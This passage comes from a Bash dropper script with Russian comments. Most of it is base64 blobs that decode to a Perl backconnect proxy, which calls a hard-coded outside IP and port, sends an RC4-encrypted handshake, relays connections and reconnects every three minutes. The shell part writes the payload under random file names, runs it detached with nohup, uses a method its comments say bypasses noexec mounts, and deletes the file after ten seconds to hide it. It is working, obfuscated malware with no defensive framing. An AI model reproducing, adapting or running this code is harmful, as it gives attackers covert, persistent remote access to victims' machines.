3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_0e37384d() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7Cg